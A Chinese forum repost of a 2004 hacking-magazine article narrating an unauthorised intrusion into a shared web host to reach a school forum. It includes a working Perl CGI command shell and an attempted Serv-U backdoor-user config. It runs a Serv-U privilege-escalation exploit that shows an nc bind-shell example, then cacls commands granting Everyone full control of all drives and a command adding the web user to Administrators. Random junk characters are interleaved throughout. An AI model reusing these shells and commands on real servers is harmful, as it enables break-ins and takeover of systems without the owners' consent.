找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1986|回复: 0
打印 上一主题 下一主题

剑走偏锋——灵巧的旁注攻击

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:11:50 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
剑走偏锋——灵巧的旁注攻击
1 y* s: j* J; O6 f本文作者:angel
: U4 `. s" E( H3 y! \. s1 C文章性质:原创: L1 b, b3 }# W
发布日期:2004-11-09
* g. R. t  W: s5 m  l注意:
- k6 j. G7 k& c  Q/ c  e本文的技术并不是最新的,涉及到的技术含量也不是很多,重要的是其中的渗透思路。  `6 H, Z6 z- A4 D& k0 {
本文已在《黑客X档案》11月刊发表,版权归本站及其杂志社所有。
+ k9 s, J# i! r- Q5 B5 V" O) ]' f9 [1 }1 l+ D
  终于高中毕业了,一定要在暑假努力学习,发奋学习,以前入侵少之又少,都是研究这样研究那样,实战经验太欠缺了,所以决定暑假恶补一下渗透技术,顺便又可以看看国内主机的安全性。暑假 6 月整整学习了一个月的渗透,从 xiaolu 身上学习到不少好的思路和经验。在此谢谢 xiaolu 了。 8 X7 x6 {% t$ Z4 E) q6 a; r+ h
0 O' O2 n) Q! P. `! }5 F
  一个多月的时间里,渗透过上百台服务器,有独立的,有虚拟主机的,有群组的,有国内和国外,我发现一个极其严重的问题,国外的服务器,普遍安全性都非常高,管理员的安全意识非常高,做个比例,如果国内平均每 10 台服务器,能渗透进去 6 台甚至更多,那国外、台湾的,平均每 10 台服务器仅仅能渗透 1 台。当然我的水平也是一个问题。可是却反映出国内的管理员的水平的的确确比国外的要差几个档次。国内的管理员的技术和意识,迫切需要大幅度提高。 7 V" K' _+ X6 [& b0 R
  |* p* Z  i" w9 ~. u, E# `
  不过国内的也有比较 BT 的管理员,我就遇见几个服务器设置得非常。其中一个的 Documents and Settings 目录下还有 nsfocus 目录,难道是 nsfocus 公司帮做的安全?这个服务器我们没有拿下,还有另外一个,就是今天的重点。
0 I) q0 {' v5 M
: N' t1 o5 g: v" V5 K% T  一次看见了一个学校论坛(http://www.school.com),还蛮火爆的,顿时兴趣来了, ping 了一下,发现 4 个包都返回 Request timed out. 估计是搞了策略或者防火墙的,象我这种以 Web 安全的,自然喜欢从站点上找漏洞,自从学习 Web 开始,我就落下一个怪癖,就是如果实在从 Web 上找不到什么漏洞,宁愿放弃也不用什么漏洞扫描器。
8 q( B0 O# x3 H6 d4 E4 p
7 W% ^6 q  Q( y4 E7 N8 B- N  大概看了看站点。就是一个论坛,采用 LeadBBS ,拿这个论坛没辙,还有其他办法,因为刚才我访问这个 IP ,返回“No web site is configured at this address.”,初步判断是虚拟主机,前段时间那几个黑站狂黑站的成功几率为什么这么高?因为有 http://whois.webhosting.info 这个网站,可以查询一个 IP 上,绑定了多少个域名。如果真的是虚拟主机,这个学校论坛没有漏洞,不代表其他站点就没有,很快的,我就通过一个小公司站点( http://anyhost/ )上的 DVBBS 6.0 传了一个 aspshell 上去,谁知道仅仅能够对自己的目录进行操作。而且自己的目录没有执行程序的权限,又用不了 Nfso ,手工跳转 URL 中的目录,也没有多少个可以浏览的,重要的 Program Files 和 Documents and Settings 目录都看不了,从 aspshell 反馈的信息来看,每个站点都设置了单独的用户,似乎一切都陷入僵局。
8 S3 i, {0 j# V: N# d; E7 ?4 ]$ i" e1 e5 F# f" ]1 T6 f' n
  没有目的的跳转目录着…… 9 P2 k$ z4 o  H0 I1 U
+ j2 @1 H2 m6 T* U* d
  我习惯性的在 URL 跳转到 c:\php,没想到居然可以看见了,那这个主机很可能就会支持 php 了,马上传了一个 phpspy 上去,非常幸运,顺利看到了登陆入口,可是没想到进入以后才发现,php.ini 亦设置得异常 BT,安全模式打开了, phpinfo 函数也被禁用了,看不了详细的系统信息,不过看 phpspy 自带的探针可以发现,allow_url_fopen、display_errors、 register_globals 统统关闭,system、passthru、exec、shell_exec 几个函数都无一幸免的被禁用了,直接跳转目录还是只可以看到这些目录而已,各个站点的目录都是类似于 “D:\websites\school.com#dlfjurdlkfjk” 这样的,每个站点目录后面的那些字符串都不一样,也跳转不到,后来我猜测后面的字符串就是 ftp 密码,试验了一下,无法登陆,看似柳暗花明,希望又破灭了……   ?+ F* }3 F4 {6 y- i9 R1 ]+ Z

7 ~, j" L1 A; {" u9 {. q5 s  结束了吗?不,我试着 FTP 一下:
9 u1 b" o5 q3 ?/ Z1 G- v6 V
$ }3 R8 L. J7 g! ]# XMicrosoft Windows 2000 [Version 5.00.2195]1 ^: K  ]6 l+ c- J$ |5 B' Z# P
(C) 版权所有 1985-2000 Microsoft Corp. + g! p2 [& y5 n' B3 F

- ~1 g6 V: @# U3 F0 U; oC:\Documents and Settings\Administrator>ftp www.school.com
* [# P) i6 k$ b) o% m. W9 ]Connected to www. school.com.
+ I  Q1 _6 r, U  T# u220 Welcome to FTP Server...
; |. d1 @) Q5 d  qUser (www.bjtrq.com:(none)):
# `! n+ q9 O( t331 User name okay, need password.
6 l: e5 @2 i" J+ K4 h1 \Password: $ \8 U& D0 e- R) @; U  |. k! g0 S
530 Not logged in. / R: _- A- I( s- }9 j
Login failed. . j5 j* T: d4 O9 i. H
ftp> bye
: P% ~# n' C7 |/ M$ T% Q221 Goodbye!   h5 `3 ?& {5 k# U3 {; x% f  n
. a  b4 O* o5 c% I& N; U

2 W4 c! r3 ]+ X- [4 n0 P  从返回的信息判断,我们还是有希望的。尽管他修改了 FTP Server 的 Banner,但是从 User name okay, need password. 这句我们还是大胆的判断这个服务器就是采用 Serv-U ,我上手有目前所有版本 Serv-U 本地提升权限的 Exploit ,如果我能传一个上去,并且能够执行,一切就明朗了。再仔细想想有哪个目录可以写的?当时在 c:\php 目录下没有发现 sessiondata 目录,而且也不是自动安装版,估计管理员把 session 的目录换到其他地方了,不然这个目录是 everyone 可写的…… + F0 b# B7 x4 A0 m4 i8 e
0 {# l4 ?3 H1 N5 D4 ~
  原来我还忘记了一个最重要的目录, C:\Documents and Settings\All Users ,从这个目录可以知道很多信息,这个目录一般、至少都是 everyone 可读的,这样我们就可以知道好多有用的信息了,直接通过我的 aspshell 手工跳转到这个目录,呵呵。马上看到了想看的目录树。
9 ~; `4 {% k* c( w
! n5 o- ]! V8 j8 l9 Y6 \4 }Application Data
9 Q4 e' H+ U1 r; f4 X- @Documents, \8 Z: z- O! ]
DRM
* I. W0 i9 a3 Y! e2 ]; [6 X2 |# _" ]' ^Favorites" J" M% P2 P% j  U. @+ `% D6 {
Templates  ^, S5 v: |8 ?9 G0 h! V; N
「开始」菜单
: X; `' |$ [6 z/ X2 f7 M桌面. \- T: V% M6 e
3 e. x7 z0 K! _

* _( d8 F- I1 g  ~* X- X* `+ d  {  马上试试建目录,可惜里面的目录包括子目录都无法新建, BT 管理员权限设置得还真严格,不过我们还是有收获的,那就是 “C:\Documents and Settings\All Users\ 「开始」菜单 \ 程序 \”目录里,看到了很多决定结果的有用信息, 7 E7 U0 ]- ^" o% }" v5 H; B

0 G& K$ W, j- rActiveState ActivePerl 5.8
$ r, C, ?5 k" }% G, F  |- M9 D) eAdministrative Tools8 ]* ~$ C8 ?0 }+ k
Deerfield.com
" N: o, J9 i( ~0 H: y" I3 KDTemp
1 p8 x  j# `$ W0 v7 ^IPSentry
1 x) }; B3 m3 b* p& H4 D2 |" F, D4 lMBM 5
" \- K6 m* h8 y, Z' DNetMeter
$ C- T1 G9 V* O0 W4 LNetwork ICE
7 C$ d0 M; D( s4 VPersits Software AspEmail
/ U& a: q! _- f' {1 ~# BPersits Software AspJpeg
# [9 {, m1 G7 b3 G" bServ-U FTP Server
# ^: g1 ], p# V& W: v" x- y0 TSymantec Client Security) _& k8 s1 r0 A  e( H& G0 `: t
Windows 优化大师
  K0 r; i+ `* c0 l. fWinRAR
3 t/ i3 S/ \3 }& ]6 k启动
. D4 E7 {& r0 M. [; p1 Q管理工具5 u( m' T% e1 H0 L2 r
附件0 l0 l6 m! g# W! @4 G2 x1 D/ q
3 y9 Y) q* N$ Z0 ^

' L% p: i/ o7 k6 ?  呵呵,现在我们知道了好多有用的信息了,看着这些东西,可以看得出管理员对安全、效率很在意,装了 Perl,也就是说可能支持 cgi 了, IPSentry 这个可以实时检测网站的各类服务, 当某服务停止时, 该软件会打 Pager, 或 EMAIL,或发声,或运行其它软件来提醒管理员,确保服务器出现问题能及时处理,说明管理员比较负责任,NetMeter 可以对网络流量进行监控,装了黑冰防火墙和诺顿杀毒服务器版,说明管理员对于服务器的安全是很小心的,这还不算,还装了另外一个防火墙——VisNetic Firewall,真是 BT 到家了,装了优化大师,看得出这个管理员还是比较爱清洁的。从管理工具里面我们还看到了终端服务客户端生成器.lnk 、终端服务配置.lnk ,还有终端服务,这下好了,说不定顺利就可以多一台 3389 肉鸡了。 7 k/ L. ^/ d3 E9 H
7 X7 H" J3 w5 s5 C' A- f
  先通过 aspshell 下载 Serv-U 的任意一个快捷方式,然后本地查看属性的目标,呵呵,原来 Serv-U 的目录是 "C:\Program Filesewfq4qrqtgy4635\Serv-U\" ,这下好了,直接跳转目录。OH~,yes~~,看到了,马上修改 ServUDaemon.ini文件,这个服务器居然放了 280 个用户,狂晕……不管了,先在添加 [Domain1] 里加一行: 9 Y3 Y9 w6 ~+ l( c3 u
& U+ b) m5 S/ `- d( Z+ s
User281=angel|1|0
0 @( `0 B, n( D) h/ I! a  K
$ k! _" W8 l: J) |$ C1 [) K  ]8 l0 p# u. c
  然后加上
, K: e' K# |3 p  g" Z6 k% s2 _3 u6 x' j( V: j+ ^% X0 a8 U9 t
[USER=angel|1]
  N1 ~2 c$ _5 v2 d5 `3 o0 r- ePassword=ng98F85379EA68DBF97BAADCA99B69B805
' |5 ~, _/ |' T# XHomeDir=D:\websites, H" S# ]* O# N9 @* }8 J( Q8 M6 e
RelPaths=1
! l/ j" u/ U: C; ^1 h! Y, dTimeOut=6001 k6 N/ g! x. y, B+ ~+ f
Maintenance=System
- ~8 o. N$ U0 }. K( hAccess1=D:\websites|RWAMELCDP
9 v; S4 F. p# |7 `SKEYValues=
$ H! }% O- }5 U: ?, f/ O5 q6 x
/ Y  n) C% j. i; m! `: Q3 n) l# e8 L( r: y* O0 W) k
  添加一个 angel,密码为 111111 的用户,具有最高权限执行,然后我们就可以 ftp 上去 quote site exec xxxxxxxx 了,嘻嘻偷笑中……
' h/ W% H" L- _; E* d& _1 Z( r4 h- s
  不过残酷现实再一次粉碎了我的计划,修改好文件以后提交,居然是没有修改成功,看来还是权限,权限权限整惨人啊。
9 S8 _% J' N6 M8 D6 C
, W# r, S1 L5 o6 l  w  不过还是有希望的,因为刚才我们看到了系统装了黑冰,有些版本存在“ISS RealSecure/BlackICE 协议分析模块 SMB 解析堆溢出漏洞”,可以远程利用的,手头上没有编译器,没有办法编译代码。
1 M1 X, I2 _1 P" Q" L
- E$ g. `4 z, n4 U) f  还有就是 Perl,这个是个很大的突破口,因为 Perl 目录一般要 erveryone 完全控制的,不管他用 isap 还是 perl.exe 一般都是可写、可执行的,马上下载 Perl 的快捷方式来看看路径,呵呵,看到了,原来 D:\user\bin 就是存放 perl 的 bin 目录下的所有文件,这么说这个目录可能可以写,也可能可以执行咯,马上传一个 su.exe(针对目前所有版本的 Serv-U 本地提升权限漏洞)上去,呵呵,传上去了,太好了,现在就是执行了,刚才我们试了 aspshell、phpshell 都不行,现在就看最后的希望了,找呀找啊,终于在我硬盘上找到一个 cgishell,很老了,文件日期是 2002 年 6 月 30 日的,代码如下:
% w' }: z! J/ M3 V# B) P. F. V2 l) C- \  o; A$ J* W% \
#!/usr/bin/perl( Y( Y& G2 {) C) [; e% H  |1 y8 d
binmode(STDOUT);% X7 g& b. X5 D' p+ ^
syswrite(STDOUT, "Content-type: text/html\r\n\r\n", 27);: C" m/ [" R- j) V/ m, C, D- G
$_ = $ENV{QUERY_STRING};6 P* V+ k5 B  d5 \
s/%20/ /ig;- u2 M7 B6 t$ q
s/%2f/\//ig;
9 q; \; B/ H6 ?; c9 \. v1 z$execthis = $_;
) R1 x& W( h& J8 U7 ~syswrite(STDOUT, "<HTML><PRE>\r\n", 13);
/ C! T; Q, o' ~5 w# `8 T3 Kopen(STDERR, ">&STDOUT") || die "Can't redirect STDERR";
0 i% K% O$ U( [( V& I( Dsystem($execthis);/ I& R' ^& q0 F# T8 D5 }% e
syswrite(STDOUT, "\r\n</PRE></HTML>\r\n", 17);) z7 X+ a" q  y
close(STDERR);6 Y( M; ]; U& r/ G1 g2 s
close(STDOUT);4 r% r% @% o0 B+ r, v
exit;
+ ]% J  M9 ]- q* x
! }- E1 j* }7 H1 g/ r6 d; i% e/ _( n) |7 `( ?
  我用过最好的 cgishell ,保存为一个 cgi 文件执行,晕……居然不支持!一阵阵郁闷袭来,2 秒钟的郁闷后,想到还有一线希望,那就是pl ,我们还没有试试 pl 扩展呢,把刚才的 cgi 文件改为 pl 文件,提交 http://anyhost//cmd.pl?dir ,我的天啊!!
7 h9 X+ J' n7 A6 _- b5 Y
2 U9 y# G. J9 K& p9 H# @% N  显示“拒绝访问”,终于可以执行了!太兴奋了,马上提交: 3 Y# q* k2 m* @& `
! U, d. K+ n3 s, M9 r
http://anyhost//cmd.pl?d:\user\bin\su.exe
5 H8 Y8 o' k# ?2 Z# G 1 L  K/ p3 W, X* J0 u, f, W
- f! g4 E) D1 D3 W0 Q6 o- w7 g
  返回:   h& H- z+ u1 @8 y, I' L2 [

, }9 y4 }% Z' X* bServ-u >3.x Local Exploit by xiaolu * Y+ `- `6 E& y' F$ x6 P

& k! ]; O2 H; b* n6 `USAGE: serv-u.exe "command"
! g+ Y( J* j$ ?$ I
2 f8 A* _  A) x! mExample: serv-u.exe "nc.exe -l -p 99 -e cmd.exe" % t" d$ x9 Y4 @- @2 S; k
& c3 `& U& R! V, N1 ]
+ |4 i- c; _$ L# E' \$ ?7 b) A- u
  嘻嘻~~现在是 IUSR 权限,那又怎么样?看你这次还不死?提交: ( Y) b" i9 C* q* b' f

# ^! p  g: r, C& qhttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe c: /E /T /G everyone:F" 5 \! g- N( J5 @, E" x

* v! d% {( x  Z5 o# ]. Ghttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe d: /E /T /G everyone:F"
& t2 O& k& g  E) X$ e& z
6 p: I9 e5 k& S& D& o: ]1 Y  phttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe e: /E /T /G everyone:F"
+ ~  M1 V  g0 ]" @1 H# k2 q% W6 Z3 e$ g/ V( M/ ?  x$ K& y
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe f: /E /T /G everyone:F" 2 M) Z/ o' @  r" o9 W# x

* K! H! _9 q1 p5 C
$ c9 j% P' k8 o: i  返回下面的信息,就表示成功了!!! ) z) i3 |( q" |" N" B

$ ^$ G3 [* B/ D/ s- @( ?2 g" WServ-u >3.x Local Exploit by xiaolu % _' S. i1 j9 m( E9 A
+ \* n. l1 C. L  E
<220 Serv-U FTP Server v5.2 for WinSock ready...
( q! a) T' E* g$ N, m/ A) k0 p( ?9 [0 {, T- [) m* i% L" e
>USER LocalAdministrator
" a. P: ]/ F) L) Y0 Z) Z7 J' T3 K9 F4 N; A
<331 User name okay, need password.
9 n2 D, _3 k. L" Q+ s( u4 [+ \  s6 n! |& O. j2 k1 o- d: {
****************************************************** " B( O3 R( H4 @7 o) g

3 D6 k2 e& r: w* A0 p>PASS #l@$ak#.lk;0@P
- H# U5 l2 {: D* M0 {3 t
! ~. X& M' W; M) {! m<230 User logged in, proceed. ( D+ g' L& H  C+ O% b

" ]2 |6 F" S3 C( K******************************************************
8 ^4 M" e7 M' M: d1 `- ?6 }4 h
1 Y$ p+ X, T8 \1 e0 u' v* K>SITE MAINTENANCE
8 ^7 \- T- p$ Z) t+ o
* k7 k9 Y7 O5 x6 B******************************************************
( L; h+ L! S! o
) f1 S7 c7 N) \! A- ^0 P# R[+] Creating New Domain...
5 a. w- }2 t! C5 \# U. j' p3 X0 A" {. `7 W; w) T
<200-DomainID=2   J8 J+ v4 y# R( Y2 }. f5 O1 r- R

0 G6 J- g7 g( S5 u+ l<220 Domain settings saved
1 d* y2 R# h+ c# V6 w9 `: l4 }6 z5 F" B2 a
****************************************************** 3 k6 }( w" C" h

7 h+ \  S" h- s& o[+] Domain xl:2 Created ( O, l% s' d4 v1 u, |8 O8 F! C

6 J9 {7 U9 t' ^% `! o[+] Creating Evil User
8 v2 i6 u( @  J) L: I9 q' A- @9 k+ X$ a& J% z9 ], h
<200-User=xl * c4 T, {9 o& ]7 R1 T" j
( r. R" P, \* Q
200 User settings saved 7 T4 V4 @: d& b2 \) ^4 F

+ j. k- Q4 S2 g. M3 i****************************************************** ; d3 L9 x& x8 d  ]& p

) V& _( Y4 ~1 P. W$ u[+] Now Exploiting...
/ [7 W* m1 ^! D; T$ T+ y4 k
0 U; c# [; e; W, M>USER xl / ]5 a5 Q1 m+ d! W' B
- \( x# ~5 j3 e& Y; [  X0 r
<331 User name okay, need password. 7 D8 K! d+ M! \6 g) J) x. }
1 A, k- |  V# M4 b) t! {" N; R( d" v! o
****************************************************** 0 h) |$ O  W- ~) I' B: m" B- H
4 S9 |, j( q9 \) T- O; \: ^
>PASS 111111
; x( h8 S1 {! m* M8 z# @: [/ c
8 x3 ]1 T! @: C9 ?5 a<230 User logged in, proceed.
# q  d& D& v6 X5 O0 a: ~7 H3 q- v- B8 b* w- G3 l
******************************************************
6 z4 B5 R* M* l0 E! l! g; P6 Y( T; l& t7 s$ c6 @
[+] Now Executing: cacls.exe c: /E /T /G everyone:F
# c, s8 V5 U! M1 K4 D7 s" w+ y; L/ A. M: W5 w6 Y2 U
<220 Domain deleted 9 q$ G& O  y. i, L, j7 l0 ~& B
$ m/ G. h* ~& ^0 o! l
******************************************************
: x8 N! H/ I. o' [* V6 E- N , ^) [, @$ F" E% }

( @3 {+ R: u( b& x- V  每提交完一次都稍微等一下,因为这些命令需要时间处理的,不一会儿,就把所有分区设置为 everyone 完全控制了,可以任意操作硬盘的东西了,但是有些命令还是受了限制,因为权限还没有提升,现在我们把自己的用户提升为管理员:
6 r. `4 j7 R( X! Y2 P6 I1 T7 L. w/ D+ K( e4 A' A3 d8 q/ ?, [+ t
http://anyhost//cmd.pl?d:\user\bin\su.exe " net localgroup administrators IUSR_anyhost /add" 4 f* o* n7 l& ^6 J8 G

9 H2 `; G) ]5 A4 V
4 ?' F: X0 Q: K9 x0 ^2 X4 d  现在我们通过 web 方式,执行的命令就是以 administrator 的身份执行的了,相信到这里,下面的事该做什么,大家应该知道了吧?马上找到那个学校的目录,进去咯~~目的达到了,本来还想做一个 3389 的肉鸡的,想想算了,这种 BT 管理员的地盘,我也占领不了多久,留点提示到他的桌面就 over 了。
/ z1 B; Z: t9 I: l3 h% l  n) ~3 I) Y5 Q6 l; s
  说真的,搞安全这么久,从来没有遇见这么棘手的虚拟主机,要不是装了 Perl,还真是束手无策!本文技术含量不高,只是分享一下希望其中的思路,如果有一个人从中受益,这篇文章就完成它的使命了。
' M" r; O& q1 R9 D( a" h" T% g + I0 D" c9 `/ i
  # ]/ t, {+ C* F, i; \
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表